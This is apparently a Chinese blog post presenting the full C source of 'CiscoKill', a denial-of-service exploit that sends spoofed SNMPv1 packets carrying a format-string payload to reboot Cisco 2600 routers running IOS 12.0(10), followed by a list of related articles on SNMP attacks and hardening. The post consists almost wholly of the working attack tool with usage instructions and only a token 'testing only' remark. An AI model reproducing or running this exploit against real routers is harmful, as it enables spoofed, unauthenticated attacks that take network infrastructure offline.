SNMP协议实现存在多个漏洞的攻击代码

原创 2004年07月19日 16:29:00
攻击者在不知道"community string"的前提下,也能进行拒绝服务攻击。
以下这段代码将重启Cisco 2600路由器:

/* This program send a spoofed snmpv1 get request that cause system reboot
  on Cisco 2600 routers with IOS version 12.0(10)

  Author : kundera@tiscali.it ... don't be lame use for testing only! ..:) */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>



struct in_addr sourceip_addr;
struct in_addr destip_addr;
struct sockaddr_in dest;

struct ip *IP;
struct udphdr *UDP;
int p_number=1,sok,datasize,i=0;

char *packet,*source,*target;
char *packetck;
char *data,c;

char snmpkill[] =
"/x30/x81/xaf/x02/x01/x00/x04/x06/x70/x75/x62/x6c/x69/x63/xa0/x81"
"/xa1/x02/x02/x09/x28/x02/x01/x00/x02/x01/x00/x30/x81/x94/x30/x81"
"/x91/x06/x81/x8c/x4d/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x81/xff/xff/xff/xff/xff/xff/xff/xff/x7f"
"/x05";


struct pseudoudp {
u_long ipsource;
u_long ipdest;
char zero;
char proto;
u_short length;
} *psudp;


in_cksum (unsigned short *ptr, int nbytes)
{

register long sum; /* assumes long == 32 bits */
u_short oddbyte;
register u_short answer; /* assumes u_short == 16 bits */

/*
  * Our algorithm is simple, using a 32-bit accumulator (sum),
  * we add sequential 16-bit words to it, and at the end, fold back
  * all the carry bits from the top 16 bits into the lower 16 bits.
  */

sum = 0;
while (nbytes > 1)
   {
    sum += *ptr++;
    nbytes -= 2;
   }

/* mop up an odd byte, if necessary */
if (nbytes == 1)
   {
    oddbyte = 0; /* make sure top half is zero */
    *((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */
    sum += oddbyte;
   }

/*
  * Add back carry outs from top 16 bits to low 16 bits.
  */

sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* ones-complement, then truncate to 16 bits */
return (answer);
}


void usage (void)
{
printf("Kundera CiscoKill v1.0/n");
printf("Usage: ciscokill [-n number of packets] [-s source ip_addr] -t ip_target /n");
}



int main(int argc,char **argv){

if (argc < 2){
usage();
exit(1);
}

while((c=getopt(argc,argv,"s:t:n:"))!=EOF){
switch(c) {
  case 's': source=optarg; break;
  case 'n': p_number=atoi(optarg); break;
  case 't': target=optarg;
  }
}

if ( (sok=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
{
printf("Can't create socket./n");
     exit(EXIT_FAILURE);
}

destip_addr.s_addr=inet_addr(target);
sourceip_addr.s_addr=inet_addr(source);

datasize=sizeof(snmpkill);

packet = ( char * )malloc( 20 + 8 + datasize );

IP = (struct ip *)packet;

memset(packet,0,sizeof(packet));
    
     IP->ip_dst.s_addr = destip_addr.s_addr;
     IP->ip_src.s_addr = sourceip_addr.s_addr;
     IP->ip_v = 4;
     IP->ip_hl = 5;
     IP->ip_ttl = 245;
     IP->ip_id = htons(666);
     IP->ip_p = 17;
     IP->ip_len = htons(20 + 8 + datasize);
     IP->ip_sum = in_cksum((u_short *)packet,20);


UDP = (struct udphdr *)(packet+20);
    UDP->source = htons(666);
    UDP->dest = htons(161);
    UDP->len = htons(8+datasize);
    UDP->check = 0;
    packetck = (char *)malloc(8 + datasize + sizeof(struct pseudoudp));
    bzero(packetck,8 + datasize + sizeof(struct pseudoudp));
    psudp = (struct pseudoudp *) (packetck);
    psudp->ipdest = destip_addr.s_addr;
    psudp->ipsource = sourceip_addr.s_addr;
    psudp->zero = 0;
    psudp->proto = 17;
    psudp->length = htons(8+datasize);
    memcpy(packetck+sizeof(struct pseudoudp),UDP,8+datasize);
    memcpy(packetck+sizeof(struct pseudoudp)+8,snmpkill,datasize);

    UDP->check = in_cksum((u_short *)packetck,8+datasize+sizeof(struct pseudoudp));

data = (unsigned char *)(packet+20+8);
memcpy(data,snmpkill,datasize);
                                                                  
dest.sin_family=AF_INET;
dest.sin_addr.s_addr=destip_addr.s_addr;

while (i<p_number)
{
if (( sendto(sok,packet,20+8+datasize,0,( struct sockaddr * ) &dest,sizeof(dest)))<0)
{
printf("Error sending packet./n");
exit(EXIT_FAILURE);
}

i++;

}
printf("%d packets sent./n",i);

}

Cisco SNMP RCE漏洞复现过程

*本文原创作者:tahf,本文属FreeBuf原创奖励计划,未经许可禁止转载 NSA数据泄露后,很多大牛都给出了分析报告,让我受益匪浅。作为一名技术小白,想分享下分析\eqgrp-free-...
  • qq_27446553
  • qq_27446553
  • 2016-08-31 01:04:38
  • 606

SNMP安全加固方法总结

SNMP(Simple Network Management Protocol,简单网络管理协议)的前身是简单网关监控协议(SGMP),用来对通信线路进行管理。随后,人们对SGMP进行了很大的修改,特...
  • xiaoyecanfeng
  • xiaoyecanfeng
  • 2012-01-05 09:30:34
  • 1667

http 漏洞解决办法

HTTP协议Content Lenth限制漏洞导致拒绝服务攻击 漏洞描述:   在HTTP协议中,当使用POST方法时,可以设置ContentLenth来定义需要传送的数据长度,但是HTT...
  • ljh_learn_from_base
  • ljh_learn_from_base
  • 2017-08-06 20:15:49
  • 379

SNMP攻击

当你获得对方机器的SNMP口令,你要怎么做? 1、Snmputilget 下面我们在命令行状态下使用Win2K资源工具箱中的程序snmputil.exe 来获取安装了SNMP的Win2K机器的网...
  • ffstarff
  • ffstarff
  • 2013-02-26 10:17:41
  • 926

Cisco SNMP RCE漏洞复现过程

*本文原创作者:tahf,本文属FreeBuf原创奖励计划,未经许可禁止转载 NSA数据泄露后,很多大牛都给出了分析报告,让我受益匪浅。作为一名技术小白,想分享下分析\eqgrp-free-...
  • qq_27446553
  • qq_27446553
  • 2016-08-31 01:04:38
  • 606

SNMP安全配置的两种方法(也可同时兼顾配置两种方法)

方法一(最简单安装): 安装 Net-SNMP CentOS及其它RedHat系列产品提供了net-snmp的二进制包。我们可以直接从源里安装。 shell> yum install net-s...
  • zqtsx
  • zqtsx
  • 2014-05-06 17:46:40
  • 6248

Java Web项目漏洞:检测到目标URL存在http host头攻击漏洞解决办法

背景 项目上线之后使用绿盟或Acunetix安全扫描工具扫描后发现了头攻击漏洞。截图如下: 漏洞提示 检测工具在检测出漏洞后给予的提示为: 大意为不要使用request中的serv...
  • ahuyangdong
  • ahuyangdong
  • 2018-01-18 08:47:29
  • 3291

目标URL存在跨站漏洞和目标URL存在http host头攻击漏洞处理方案

直接写过滤器: package com.todaytech.yth.gdsd.base.Filter; import java.io.IOException; import java.util.I...
  • u012465383
  • u012465383
  • 2018-01-12 20:22:56
  • 326

小白日记11:kali渗透测试之服务扫描-banner、dmitry、nmap特征库、操作系统识别、SNMP

服务扫描 不能单纯的以端口辨别服务。很多网络服务是漏洞频发的高危对象,对网络上的特定服务进行扫描,往往能让我们少走弯路,增加渗透成功的几率。确定开放端口后,通常会对相应端口上所运行服务的信息进行更深入...
  • ZiXuanFY
  • ZiXuanFY
  • 2016-09-11 20:38:37
  • 4473

渗透测试工具实战技巧合集

本文为作者总结自己在渗透测试中常用的一些小技巧。原文分为两部分,译者将其合二为一,方便大家查阅。 最好的 NMAP 扫描策略 # 适用所有大小网络最好的 nmap 扫描策略 # 主机发现,生成存...
  • hailangnet
  • hailangnet
  • 2016-05-29 17:57:04
  • 5165
收藏助手
不良信息举报
您举报文章:SNMP协议实现存在多个漏洞的攻击代码
举报原因:
原因补充:

(最多只允许输入30个字)